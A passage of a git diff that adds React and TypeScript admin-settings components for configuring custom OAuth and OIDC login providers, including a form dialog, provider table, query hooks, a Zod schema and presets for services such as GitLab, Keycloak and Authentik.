+                  'Configure a new custom OAuth provider for user authentication.'
+                )}
+          </DialogDescription>
+        </DialogHeader>
+
+        <Form {...form}>
+          <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+            {/* Preset Selector (only for creating) */}
+            {!isEditing && <PresetSelector form={form} />}
+
+            {/* Basic Info */}
+            <div className='space-y-4'>
+              <h4 className='text-sm font-medium'>{t('Basic Info')}</h4>
+
+              <FormField
+                control={form.control}
+                name='enabled'
+                render={({ field }) => (
+                  <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                    <div className='space-y-0.5'>
+                      <FormLabel className='text-base'>
+                        {t('Enabled')}
+                      </FormLabel>
+                      <FormDescription>
+                        {t('Allow users to sign in with this provider')}
+                      </FormDescription>
+                    </div>
+                    <FormControl>
+                      <Switch
+                        checked={field.value}
+                        onCheckedChange={field.onChange}
+                      />
+                    </FormControl>
+                  </FormItem>
+                )}
+              />
+
+              <div className='grid grid-cols-1 gap-4 sm:grid-cols-2'>
+                <FormField
+                  control={form.control}
+                  name='name'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Provider Name')}</FormLabel>
+                      <FormControl>
+                        <Input placeholder={t('e.g. My GitLab')} {...field} />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='slug'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Slug')}</FormLabel>
+                      <FormControl>
+                        <Input placeholder={t('e.g. my-gitlab')} {...field} />
+                      </FormControl>
+                      <FormDescription>
+                        {t('Used in URLs and API routes')}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </div>
+
+              <FormField
+                control={form.control}
+                name='icon'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Icon')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t('Icon identifier (e.g. github, gitlab)')}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Optional icon identifier for the login button')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <Separator />
+
+            {/* Credentials */}
+            <div className='space-y-4'>
+              <h4 className='text-sm font-medium'>{t('Credentials')}</h4>
+              <div className='grid grid-cols-1 gap-4 sm:grid-cols-2'>
+                <FormField
+                  control={form.control}
+                  name='client_id'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Client ID')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t('OAuth Client ID')}
+                          autoComplete='off'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='client_secret'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Client Secret')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='password'
+                          placeholder={t('OAuth Client Secret')}
+                          autoComplete='new-password'
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </div>
+
+              <FormField
+                control={form.control}
+                name='auth_style'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Auth Style')}</FormLabel>
+                    <Select
+                      value={String(field.value)}
+                      onValueChange={(val) => field.onChange(Number(val))}
+                    >
+                      <FormControl>
+                        <SelectTrigger className='w-full'>
+                          <SelectValue />
+                        </SelectTrigger>
+                      </FormControl>
+                      <SelectContent>
+                        {AUTH_STYLE_OPTIONS.map((option) => (
+                          <SelectItem
+                            key={option.value}
+                            value={String(option.value)}
+                          >
+                            {t(option.labelKey)}
+                          </SelectItem>
+                        ))}
+                      </SelectContent>
+                    </Select>
+                    <FormDescription>
+                      {t(
+                        'How client credentials are sent to the token endpoint'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <Separator />
+
+            {/* Endpoints */}
+            <div className='space-y-4'>
+              <div className='flex items-center justify-between'>
+                <h4 className='text-sm font-medium'>{t('Endpoints')}</h4>
+                <DiscoveryButton form={form} />
+              </div>
+
+              <FormField
+                control={form.control}
+                name='well_known'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Well-Known URL')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t(
+                          'https://provider.com/.well-known/openid-configuration'
+                        )}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t(
+                        'OIDC discovery URL. Click "Auto-discover" to fetch endpoints automatically.'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='authorization_endpoint'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Authorization Endpoint')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder='https://provider.com/oauth/authorize'
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='token_endpoint'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Token Endpoint')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder='https://provider.com/oauth/token'
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='user_info_endpoint'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('User Info Endpoint')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder='https://provider.com/api/user'
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='scopes'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Scopes')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t('e.g. openid profile email')}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Space-separated OAuth scopes')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <Separator />
+
+            {/* Field Mapping */}
+            <div className='space-y-4'>
+              <h4 className='text-sm font-medium'>{t('Field Mapping')}</h4>
+              <FormDescription>
+                {t(
+                  'Map fields from the user info response to local user attributes. Supports nested paths (e.g. ocs.data.id).'
+                )}
+              </FormDescription>
+
+              <div className='grid grid-cols-1 gap-4 sm:grid-cols-2'>
+                <FormField
+                  control={form.control}
+                  name='user_id_field'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('User ID Field')}</FormLabel>
+                      <FormControl>
+                        <Input placeholder='id' {...field} />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='username_field'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Username Field')}</FormLabel>
+                      <FormControl>
+                        <Input placeholder='login' {...field} />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='display_name_field'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Display Name Field')}</FormLabel>
+                      <FormControl>
+                        <Input placeholder='name' {...field} />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='email_field'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Email Field')}</FormLabel>
+                      <FormControl>
+                        <Input placeholder='email' {...field} />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </div>
+            </div>
+
+            <Separator />
+
+            {/* Advanced */}
+            <div className='space-y-4'>
+              <h4 className='text-sm font-medium'>{t('Advanced')}</h4>
+
+              <FormField
+                control={form.control}
+                name='access_policy'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Access Policy (JSON)')}</FormLabel>
+                    <FormControl>
+                      <Textarea
+                        placeholder={t(
+                          'Optional JSON policy to restrict access based on user info fields'
+                        )}
+                        className='min-h-[80px] font-mono text-xs'
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t(
+                        'JSON-based access control rules. Leave empty to allow all users.'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='access_denied_message'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Access Denied Message')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t(
+                          'Custom message shown when access is denied'
+                        )}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <DialogFooter>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={() => props.onOpenChange(false)}
+                disabled={isPending}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button type='submit' disabled={isPending}>
+                {isPending
+                  ? t('Saving...')
+                  : isEditing
+                    ? t('Update Provider')
+                    : t('Create Provider')}
+              </Button>
+            </DialogFooter>
+          </form>
+        </Form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/custom-oauth/components/provider-table.tsx b/new-api/web/default/src/features/system-settings/auth/custom-oauth/components/provider-table.tsx
new file mode 100644
index 0000000..ad95986
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/custom-oauth/components/provider-table.tsx
@@ -0,0 +1,132 @@
+import { useState } from 'react'
+import { Pencil, Trash2, Plus } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import { StatusBadge } from '@/components/status-badge'
+import { useDeleteProvider } from '../hooks/use-custom-oauth-mutations'
+import type { CustomOAuthProvider } from '../types'
+
+type ProviderTableProps = {
+  providers: CustomOAuthProvider[]
+  onEdit: (provider: CustomOAuthProvider) => void
+  onCreate: () => void
+}
+
+export function ProviderTable(props: ProviderTableProps) {
+  const { t } = useTranslation()
+  const deleteProvider = useDeleteProvider()
+  const [deleteTarget, setDeleteTarget] = useState<CustomOAuthProvider | null>(
+    null
+  )
+
+  const handleDelete = async () => {
+    if (!deleteTarget) return
+    await deleteProvider.mutateAsync(deleteTarget.id)
+    setDeleteTarget(null)
+  }
+
+  return (
+    <>
+      <div className='flex items-center justify-between'>
+        <p className='text-muted-foreground text-sm'>
+          {t('Manage custom OAuth providers for user authentication')}
+        </p>
+        <Button size='sm' onClick={props.onCreate}>
+          <Plus className='mr-1.5 h-4 w-4' />
+          {t('Add Provider')}
+        </Button>
+      </div>
+
+      {props.providers.length === 0 ? (
+        <div className='text-muted-foreground rounded-lg border border-dashed p-8 text-center text-sm'>
+          {t('No custom OAuth providers configured yet.')}
+        </div>
+      ) : (
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead>{t('Icon')}</TableHead>
+              <TableHead>{t('Name')}</TableHead>
+              <TableHead>{t('Slug')}</TableHead>
+              <TableHead>{t('Status')}</TableHead>
+              <TableHead>{t('Client ID')}</TableHead>
+              <TableHead className='text-right'>{t('Actions')}</TableHead>
+            </TableRow>
+          </TableHeader>
+          <TableBody>
+            {props.providers.map((provider) => (
+              <TableRow key={provider.id}>
+                <TableCell>
+                  {provider.icon ? (
+                    <span className='text-lg'>{provider.icon}</span>
+                  ) : (
+                    <span className='text-muted-foreground text-xs'>--</span>
+                  )}
+                </TableCell>
+                <TableCell className='font-medium'>{provider.name}</TableCell>
+                <TableCell>
+                  <StatusBadge
+                    label={provider.slug}
+                    variant='neutral'
+                    copyable={false}
+                  />
+                </TableCell>
+                <TableCell>
+                  <StatusBadge
+                    label={provider.enabled ? t('Enabled') : t('Disabled')}
+                    variant={provider.enabled ? 'success' : 'neutral'}
+                    copyable={false}
+                  />
+                </TableCell>
+                <TableCell className='text-muted-foreground max-w-[120px] truncate font-mono text-xs'>
+                  {provider.client_id}
+                </TableCell>
+                <TableCell className='text-right'>
+                  <div className='flex justify-end gap-1'>
+                    <Button
+                      variant='ghost'
+                      size='sm'
+                      onClick={() => props.onEdit(provider)}
+                    >
+                      <Pencil className='h-4 w-4' />
+                    </Button>
+                    <Button
+                      variant='ghost'
+                      size='sm'
+                      onClick={() => setDeleteTarget(provider)}
+                    >
+                      <Trash2 className='text-destructive h-4 w-4' />
+                    </Button>
+                  </div>
+                </TableCell>
+              </TableRow>
+            ))}
+          </TableBody>
+        </Table>
+      )}
+
+      <ConfirmDialog
+        open={!!deleteTarget}
+        onOpenChange={(open) => !open && setDeleteTarget(null)}
+        title={t('Delete Provider')}
+        desc={t(
+          'Are you sure you want to delete "{{name}}"? Users who authenticated with this provider will no longer be able to log in.',
+          { name: deleteTarget?.name || '' }
+        )}
+        confirmText={t('Delete')}
+        destructive
+        handleConfirm={handleDelete}
+        isLoading={deleteProvider.isPending}
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/custom-oauth/custom-oauth-section.tsx b/new-api/web/default/src/features/system-settings/auth/custom-oauth/custom-oauth-section.tsx
new file mode 100644
index 0000000..24a4bc7
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/custom-oauth/custom-oauth-section.tsx
@@ -0,0 +1,68 @@
+import { useState } from 'react'
+import { useTranslation } from 'react-i18next'
+import { SettingsSection } from '../../components/settings-section'
+import { ProviderFormDialog } from './components/provider-form-dialog'
+import { ProviderTable } from './components/provider-table'
+import { useCustomOAuthProviders } from './hooks/use-custom-oauth-providers'
+import type { CustomOAuthProvider } from './types'
+
+export function CustomOAuthSection() {
+  const { t } = useTranslation()
+  const { data: providers = [], isLoading } = useCustomOAuthProviders()
+  const [dialogOpen, setDialogOpen] = useState(false)
+  const [editingProvider, setEditingProvider] =
+    useState<CustomOAuthProvider | null>(null)
+
+  const handleCreate = () => {
+    setEditingProvider(null)
+    setDialogOpen(true)
+  }
+
+  const handleEdit = (provider: CustomOAuthProvider) => {
+    setEditingProvider(provider)
+    setDialogOpen(true)
+  }
+
+  const handleDialogChange = (open: boolean) => {
+    setDialogOpen(open)
+    if (!open) {
+      setEditingProvider(null)
+    }
+  }
+
+  if (isLoading) {
+    return (
+      <SettingsSection
+        title={t('Custom OAuth Providers')}
+        description={t(
+          'Configure custom OAuth providers for user authentication'
+        )}
+      >
+        <div className='text-muted-foreground py-8 text-center text-sm'>
+          {t('Loading...')}
+        </div>
+      </SettingsSection>
+    )
+  }
+
+  return (
+    <SettingsSection
+      title={t('Custom OAuth Providers')}
+      description={t(
+        'Configure custom OAuth providers for user authentication'
+      )}
+    >
+      <ProviderTable
+        providers={providers}
+        onEdit={handleEdit}
+        onCreate={handleCreate}
+      />
+
+      <ProviderFormDialog
+        open={dialogOpen}
+        onOpenChange={handleDialogChange}
+        provider={editingProvider}
+      />
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/custom-oauth/hooks/use-custom-oauth-mutations.ts b/new-api/web/default/src/features/system-settings/auth/custom-oauth/hooks/use-custom-oauth-mutations.ts
new file mode 100644
index 0000000..8f0eac6
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/custom-oauth/hooks/use-custom-oauth-mutations.ts
@@ -0,0 +1,94 @@
+import { useMutation, useQueryClient } from '@tanstack/react-query'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import {
+  createCustomOAuthProvider,
+  updateCustomOAuthProvider,
+  deleteCustomOAuthProvider,
+  discoverOIDCEndpoints,
+} from '../api'
+import type { CustomOAuthProvider, DiscoveryResponse } from '../types'
+
+function useInvalidateOnSuccess() {
+  const queryClient = useQueryClient()
+  return {
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: ['custom-oauth-providers'] })
+      queryClient.invalidateQueries({ queryKey: ['status'] })
+    },
+  }
+}
+
+export function useCreateProvider() {
+  const invalidate = useInvalidateOnSuccess()
+
+  return useMutation({
+    mutationFn: (data: Omit<CustomOAuthProvider, 'id'>) =>
+      createCustomOAuthProvider(data),
+    onSuccess: (res) => {
+      if (res.success) {
+        toast.success(i18next.t('Provider created successfully'))
+        invalidate.onSuccess()
+      }
+    },
+    onError: (error: Error) => {
+      toast.error(error.message || i18next.t('Failed to create provider'))
+    },
+  })
+}
+
+export function useUpdateProvider() {
+  const invalidate = useInvalidateOnSuccess()
+
+  return useMutation({
+    mutationFn: ({
+      id,
+      data,
+    }: {
+      id: number
+      data: Partial<CustomOAuthProvider>
+    }) => updateCustomOAuthProvider(id, data),
+    onSuccess: (res) => {
+      if (res.success) {
+        toast.success(i18next.t('Provider updated successfully'))
+        invalidate.onSuccess()
+      }
+    },
+    onError: (error: Error) => {
+      toast.error(error.message || i18next.t('Failed to update provider'))
+    },
+  })
+}
+
+export function useDeleteProvider() {
+  const invalidate = useInvalidateOnSuccess()
+
+  return useMutation({
+    mutationFn: (id: number) => deleteCustomOAuthProvider(id),
+    onSuccess: (res) => {
+      if (res.success) {
+        toast.success(i18next.t('Provider deleted successfully'))
+        invalidate.onSuccess()
+      }
+    },
+    onError: (error: Error) => {
+      toast.error(error.message || i18next.t('Failed to delete provider'))
+    },
+  })
+}
+
+export function useDiscoverEndpoints() {
+  return useMutation({
+    mutationFn: (wellKnownUrl: string) => discoverOIDCEndpoints(wellKnownUrl),
+    onSuccess: (res: DiscoveryResponse) => {
+      if (res.success) {
+        toast.success(i18next.t('OIDC endpoints discovered successfully'))
+      }
+    },
+    onError: (error: Error) => {
+      toast.error(
+        error.message || i18next.t('Failed to discover OIDC endpoints')
+      )
+    },
+  })
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/custom-oauth/hooks/use-custom-oauth-providers.ts b/new-api/web/default/src/features/system-settings/auth/custom-oauth/hooks/use-custom-oauth-providers.ts
new file mode 100644
index 0000000..22eb454
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/custom-oauth/hooks/use-custom-oauth-providers.ts
@@ -0,0 +1,12 @@
+import { useQuery } from '@tanstack/react-query'
+import { getCustomOAuthProviders } from '../api'
+
+export function useCustomOAuthProviders() {
+  return useQuery({
+    queryKey: ['custom-oauth-providers'],
+    queryFn: async () => {
+      const res = await getCustomOAuthProviders()
+      return res.data ?? []
+    },
+  })
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/custom-oauth/types.ts b/new-api/web/default/src/features/system-settings/auth/custom-oauth/types.ts
new file mode 100644
index 0000000..b82bf4c
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/custom-oauth/types.ts
@@ -0,0 +1,206 @@
+import * as z from 'zod'
+
+// ============================================================================
+// Custom OAuth Provider Types
+// ============================================================================
+
+export interface CustomOAuthProvider {
+  id: number
+  name: string
+  slug: string
+  icon: string
+  enabled: boolean
+  client_id: string
+  client_secret: string
+  authorization_endpoint: string
+  token_endpoint: string
+  user_info_endpoint: string
+  scopes: string
+  user_id_field: string
+  username_field: string
+  display_name_field: string
+  email_field: string
+  well_known: string
+  auth_style: number // 0=auto, 1=params, 2=header
+  access_policy: string
+  access_denied_message: string
+}
+
+// ============================================================================
+// Form Schema
+// ============================================================================
+
+export const customOAuthFormSchema = z.object({
+  name: z.string().min(1, 'Name is required'),
+  slug: z
+    .string()
+    .min(1, 'Slug is required')
+    .regex(
+      /^[a-z0-9-]+$/,
+      'Slug must only contain lowercase letters, numbers, and hyphens'
+    ),
+  icon: z.string().optional().default(''),
+  enabled: z.boolean().default(true),
+  client_id: z.string().min(1, 'Client ID is required'),
+  client_secret: z.string().optional().default(''),
+  authorization_endpoint: z
+    .string()
+    .min(1, 'Authorization endpoint is required'),
+  token_endpoint: z.string().min(1, 'Token endpoint is required'),
+  user_info_endpoint: z.string().min(1, 'User info endpoint is required'),
+  scopes: z.string().optional().default(''),
+  user_id_field: z.string().min(1, 'User ID field is required'),
+  username_field: z.string().optional().default(''),
+  display_name_field: z.string().optional().default(''),
+  email_field: z.string().optional().default(''),
+  well_known: z.string().optional().default(''),
+  auth_style: z.number().int().min(0).max(2).default(0),
+  access_policy: z.string().optional().default(''),
+  access_denied_message: z.string().optional().default(''),
+})
+
+export type CustomOAuthFormValues = z.infer<typeof customOAuthFormSchema>
+
+// ============================================================================
+// OIDC Discovery
+// ============================================================================
+
+export interface DiscoveryResponse {
+  success: boolean
+  message?: string
+  data?: {
+    well_known_url?: string
+    discovery?: {
+      authorization_endpoint?: string
+      token_endpoint?: string
+      userinfo_endpoint?: string
+      scopes_supported?: string[]
+    }
+  }
+}
+
+// ============================================================================
+// Preset Templates
+// ============================================================================
+
+export interface OAuthPreset {
+  key: string
+  name: string
+  icon: string
+  authorization_endpoint: string
+  token_endpoint: string
+  user_info_endpoint: string
+  scopes: string
+  user_id_field: string
+  username_field: string
+  display_name_field: string
+  email_field: string
+  needsBaseUrl: boolean
+}
+
+export const OAUTH_PRESETS: OAuthPreset[] = [
+  {
+    key: 'github-enterprise',
+    name: 'GitHub Enterprise',
+    icon: 'github',
+    authorization_endpoint: '/login/oauth/authorize',
+    token_endpoint: '/login/oauth/access_token',
+    user_info_endpoint: '/api/v3/user',
+    scopes: 'user:email',
+    user_id_field: 'id',
+    username_field: 'login',
+    display_name_field: 'name',
+    email_field: 'email',
+    needsBaseUrl: true,
+  },
+  {
+    key: 'gitlab',
+    name: 'GitLab',
+    icon: 'gitlab',
+    authorization_endpoint: '/oauth/authorize',
+    token_endpoint: '/oauth/token',
+    user_info_endpoint: '/api/v4/user',
+    scopes: 'openid profile email',
+    user_id_field: 'id',
+    username_field: 'username',
+    display_name_field: 'name',
+    email_field: 'email',
+    needsBaseUrl: true,
+  },
+  {
+    key: 'gitea',
+    name: 'Gitea',
+    icon: 'gitea',
+    authorization_endpoint: '/login/oauth/authorize',
+    token_endpoint: '/login/oauth/access_token',
+    user_info_endpoint: '/api/v1/user',
+    scopes: 'openid profile email',
+    user_id_field: 'id',
+    username_field: 'login',
+    display_name_field: 'full_name',
+    email_field: 'email',
+    needsBaseUrl: true,
+  },
+  {
+    key: 'nextcloud',
+    name: 'Nextcloud',
+    icon: 'nextcloud',
+    authorization_endpoint: '/apps/oauth2/authorize',
+    token_endpoint: '/apps/oauth2/api/v1/token',
+    user_info_endpoint: '/ocs/v2.php/cloud/user?format=json',
+    scopes: 'openid profile email',
+    user_id_field: 'ocs.data.id',
+    username_field: 'ocs.data.id',
+    display_name_field: 'ocs.data.displayname',
+    email_field: 'ocs.data.email',
+    needsBaseUrl: true,
+  },
+  {
+    key: 'keycloak',
+    name: 'Keycloak',
+    icon: 'keycloak',
+    authorization_endpoint: '/realms/{realm}/protocol/openid-connect/auth',
+    token_endpoint: '/realms/{realm}/protocol/openid-connect/token',
+    user_info_endpoint: '/realms/{realm}/protocol/openid-connect/userinfo',
+    scopes: 'openid profile email',
+    user_id_field: 'sub',
+    username_field: 'preferred_username',
+    display_name_field: 'name',
+    email_field: 'email',
+    needsBaseUrl: true,
+  },
+  {
+    key: 'authentik',
+    name: 'Authentik',
+    icon: 'authentik',
+    authorization_endpoint: '/application/o/authorize/',
+    token_endpoint: '/application/o/token/',
+    user_info_endpoint: '/application/o/userinfo/',
+    scopes: 'openid profile email',
+    user_id_field: 'sub',
+    username_field: 'preferred_username',
+    display_name_field: 'name',
+    email_field: 'email',
+    needsBaseUrl: true,
+  },
+  {
+    key: 'ory',
+    name: 'ORY Hydra',
+    icon: 'openid',
+    authorization_endpoint: '/oauth2/auth',
+    token_endpoint: '/oauth2/token',
+    user_info_endpoint: '/userinfo',
+    scopes: 'openid profile email',
+    user_id_field: 'sub',
+    username_field: 'preferred_username',
+    display_name_field: 'name',
+    email_field: 'email',
+    needsBaseUrl: true,
+  },
+]
+
+export const AUTH_STYLE_OPTIONS = [
+  { value: 0, labelKey: 'Auto Detect' },
+  { value: 1, labelKey: 'Params (in body)' },
+  { value: 2, labelKey: 'Header (Basic Auth)' },
+] as const
diff --git a/new-api/web/default/src/features/system-settings/auth/index.tsx b/new-api/web/default/src/features/system-settings/auth/index.tsx
new file mode 100644
index 0000000..9eb7f7b
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/index.tsx
@@ -0,0 +1,61 @@
+import { SettingsPage } from '../components/settings-page'
+import type { AuthSettings } from '../types'
+import {
+  AUTH_DEFAULT_SECTION,
+  getAuthSectionContent,
+} from './section-registry.tsx'
+
+const defaultAuthSettings: AuthSettings = {
+  PasswordLoginEnabled: true,
+  PasswordRegisterEnabled: true,
+  EmailVerificationEnabled: false,
+  RegisterEnabled: true,
+  EmailDomainRestrictionEnabled: false,
+  EmailAliasRestrictionEnabled: false,
+  EmailDomainWhitelist: '',
+  GitHubOAuthEnabled: false,
+  GitHubClientId: '',
+  GitHubClientSecret: '',
+  'discord.enabled': false,
+  'discord.client_id': '',
+  'discord.client_secret': '',
+  'oidc.enabled': false,
+  'oidc.client_id': '',
+  'oidc.client_secret': '',
+  'oidc.well_known': '',
+  'oidc.authorization_endpoint': '',
+  'oidc.token_endpoint': '',
+  'oidc.user_info_endpoint': '',
+  TelegramOAuthEnabled: false,
+  TelegramBotToken: '',
+  TelegramBotName: '',
+  LinuxDOOAuthEnabled: false,
+  LinuxDOClientId: '',
+  LinuxDOClientSecret: '',
+  LinuxDOMinimumTrustLevel: '0',
+  WeChatAuthEnabled: false,
+  WeChatServerAddress: '',
+  WeChatServerToken: '',
+  WeChatAccountQRCodeImageURL: '',
+  TurnstileCheckEnabled: false,
+  TurnstileSiteKey: '',
+  TurnstileSecretKey: '',
+  'passkey.enabled': false,
+  'passkey.rp_display_name': '',
+  'passkey.rp_id': '',
+  'passkey.origins': '',
+  'passkey.allow_insecure_origin': false,
+  'passkey.user_verification': 'preferred',
+  'passkey.attachment_preference': '',
+}
+
+export function AuthSettings() {
+  return (
+    <SettingsPage
+      routePath='/_authenticated/system-settings/auth/$section'
+      defaultSettings={defaultAuthSettings}
+      defaultSection={AUTH_DEFAULT_SECTION}
+      getSectionContent={getAuthSectionContent}
+    />
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/oauth-section.tsx b/new-api/web/default/src/features/system-settings/auth/oauth-section.tsx
new file mode 100644
index 0000000..b8a986e
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/oauth-section.tsx
@@ -0,0 +1,763 @@
+import { useState } from 'react'
+import * as z from 'zod'
+import axios from 'axios'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { RotateCcw } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs'
+import { FormDirtyIndicator } from '../components/form-dirty-indicator'
+import { FormNavigationGuard } from '../components/form-navigation-guard'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const oauthSchema = z.object({
+  GitHubOAuthEnabled: z.boolean(),
+  GitHubClientId: z.string().optional(),
+  GitHubClientSecret: z.string().optional(),
+  'discord.enabled': z.boolean(),
+  'discord.client_id': z.string().optional(),
+  'discord.client_secret': z.string().optional(),
+  'oidc.enabled': z.boolean(),
+  'oidc.client_id': z.string().optional(),
+  'oidc.client_secret': z.string().optional(),
+  'oidc.well_known': z.string().optional(),
+  'oidc.authorization_endpoint': z.string().optional(),
+  'oidc.token_endpoint': z.string().optional(),
+  'oidc.user_info_endpoint': z.string().optional(),
+  TelegramOAuthEnabled: z.boolean(),
+  TelegramBotToken: z.string().optional(),
+  TelegramBotName: z.string().optional(),
+  LinuxDOOAuthEnabled: z.boolean(),
+  LinuxDOClientId: z.string().optional(),
+  LinuxDOClientSecret: z.string().optional(),
+  LinuxDOMinimumTrustLevel: z.string().optional(),
+  WeChatAuthEnabled: z.boolean(),
+  WeChatServerAddress: z.string().optional(),
+  WeChatServerToken: z.string().optional(),
+  WeChatAccountQRCodeImageURL: z.string().optional(),
+})
+
+type OAuthFormValues = z.infer<typeof oauthSchema>
+
+type OAuthSectionProps = {
+  defaultValues: OAuthFormValues
+}
+
+export function OAuthSection({ defaultValues }: OAuthSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const [activeTab, setActiveTab] = useState('github')
+
+  // Normalize empty strings for optional fields (only at mount)
+  const normalizedDefaults: OAuthFormValues = {
+    ...defaultValues,
+    GitHubClientId: defaultValues.GitHubClientId ?? '',
+    GitHubClientSecret: defaultValues.GitHubClientSecret ?? '',
+    'discord.client_id': defaultValues['discord.client_id'] ?? '',
+    'discord.client_secret': defaultValues['discord.client_secret'] ?? '',
+    'oidc.client_id': defaultValues['oidc.client_id'] ?? '',
+    'oidc.client_secret': defaultValues['oidc.client_secret'] ?? '',
+    'oidc.well_known': defaultValues['oidc.well_known'] ?? '',
+    'oidc.authorization_endpoint':
+      defaultValues['oidc.authorization_endpoint'] ?? '',
+    'oidc.token_endpoint': defaultValues['oidc.token_endpoint'] ?? '',
+    'oidc.user_info_endpoint': defaultValues['oidc.user_info_endpoint'] ?? '',
+    TelegramBotToken: defaultValues.TelegramBotToken ?? '',
+    TelegramBotName: defaultValues.TelegramBotName ?? '',
+    LinuxDOClientId: defaultValues.LinuxDOClientId ?? '',
